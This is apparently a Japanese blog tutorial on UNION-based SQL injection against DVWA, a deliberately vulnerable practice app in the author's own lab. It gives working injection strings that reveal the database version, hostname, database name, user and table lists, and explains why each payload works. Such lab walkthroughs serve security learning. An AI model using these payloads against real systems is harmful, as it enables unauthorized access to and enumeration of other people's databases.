SQL インジェクションでデータベースの各種情報を窃取する

WEBアプリケーション

この記事では、DVWA に対して SQL インジェクションを行い以下のデータを取得する方法を紹介します。
・DBシステムのバージョン情報
・SQL サーバのホスト名
・DB名
・ユーザ名
・テーブル一覧
・DVWA が使用しているテーブル

DVWA のインストール、セットアップ方法は以下の記事をご覧ください。

SQL インジェクションの説明については、以下の記事をご覧ください。

DBシステムのバージョン情報を取得する

DB システムのバージョンを SQL 文で確認する場合は、以下コマンドいずれかを実行します。

SELECT @@VERSION
SELECT VERSION()

しかし、DVWA では以下の SQL 文が実装されており、入力値部分しかユーザ側では決めることができません。

SELECT First name,Surname FROM User list WHERE ID=‘入力値’;

ここで UNION 句を使用します。
UNION 句は、2つのSQL 文を結合し、1つの結果として出力する役割があります。

DVWA に実装されている SQL 文と、バージョン確認用の SQL 文を結合することで、バージョン確認結果を出力させることが可能になります。

具体的には、「’union select @@version,null #」と入力することでバージョン情報を出力させることができます。

では、なぜこの入力値となるのか説明していきます。

「’union select @@version,null #」を入力値とすると、DVWA からデータベースに送られる SQL 文は以下になります。

SELECT First name,Surname FROM User list WHERE ID=''union select @@version,null #';

First name と Surname を取得する SELECT 文 と、バージョン情報を取得する SELECT 文が UNION 句で結合されている形になっています。

まず前者の以下 SELECT 文では、WHERE 句で ID が指定されていないので全て FALSE となり、何も取得されません。

SELECT First name,Surname FROM User list WHERE ID=''

後者の以下 SELECT 文ではバージョン情報を取得しているのですが、「,null #’;」について説明します。

select @@version,null #';

まず前提として UNION 句で結合する場合は、結合する SQL 文のカラム数が一致している必要があります。
前者の SELECT 文では First name と Surname の2つのカラムを出力させますが、後者の SELECT 文ではバージョン情報のみのため、カラム数が一致していません。
そのため、NULL (データなし)を指定することでカラム数を一致させています。
※一致していない場合は、以下のエラーが出力されます。
The used SELECT statements have a different number of columns

「#」については、構文エラー回避のために ‘; をエスケープさせています。

改めて DVWA の表示を見ると、First name にバージョン情報が出力されて、Surname には NULL が入っており何も表示されていません。

SQL サーバのホスト名を取得する

同じ要領でホスト名を取得します。
ホスト名は以下コマンドで確認が可能です。

SELECT @@HOSTNAME

そのため、入力値は「’union select @@hostname,null #」になります。
実際に入力して結果を確認しましょう。

ホスト名が Kali であることがわかりました。

DB 名を取得する

DB 名は以下コマンドで確認が可能です。

SELECT DATABASE()

そのため、入力値は「’union select database(),null #」になります。
実際に入力して結果を確認しましょう。

DB 名が dvwa であることがわかりました。

ユーザ名を取得する

ユーザ名は以下コマンドで確認可能です。

SELECT USER()

そのため、入力値は「’union select user(),null #」になります。
実際に入力して結果を確認しましょう。

ユーザ名が kdry であることがわかりました。

テーブル一覧 を取得する

テーブル一覧は以下のコマンドで確認することが可能です。

SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES

「INFORMATION_SCHEMA」という DB に関する情報が格納されているデータベースに「TABLES」というテーブルがあり、そこにテーブル名が格納されています。

そのため、入力値は「’ union select table_name, null from information_schema.tables #」になります。
実際に入力して確認します。

多数のテーブル名を確認することができました。

DVWA が使用しているテーブル

先程のテーブル名一覧を取得するコマンドで、WHERE 句により「table_schema」を指定することで、DVWA が使用しているテーブルを取得することが可能です。
コマンドは以下になります。

SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'DVWA'

そのため、入力値は「’ union select table_name, null from information_schema.tables where table_schema = ‘DVWA’ #」になります。
実際に入力して確認します。

guestbook 、 users というテーブルを使用していることがわかりました。

以下の記事では、この users というテーブルからログインパスワードの特定を行っています。

今回は以上です。UNION 句を使用することで、様々な情報を取得できることが確認できました。

くどり

この記事は「ハッキング・ラボのつくりかた 第7章 」をベースに作成しています。購入リンクは以下です。
※Amazonアソシエイトを使用しています。

コメント

タイトルとURLをコピーしました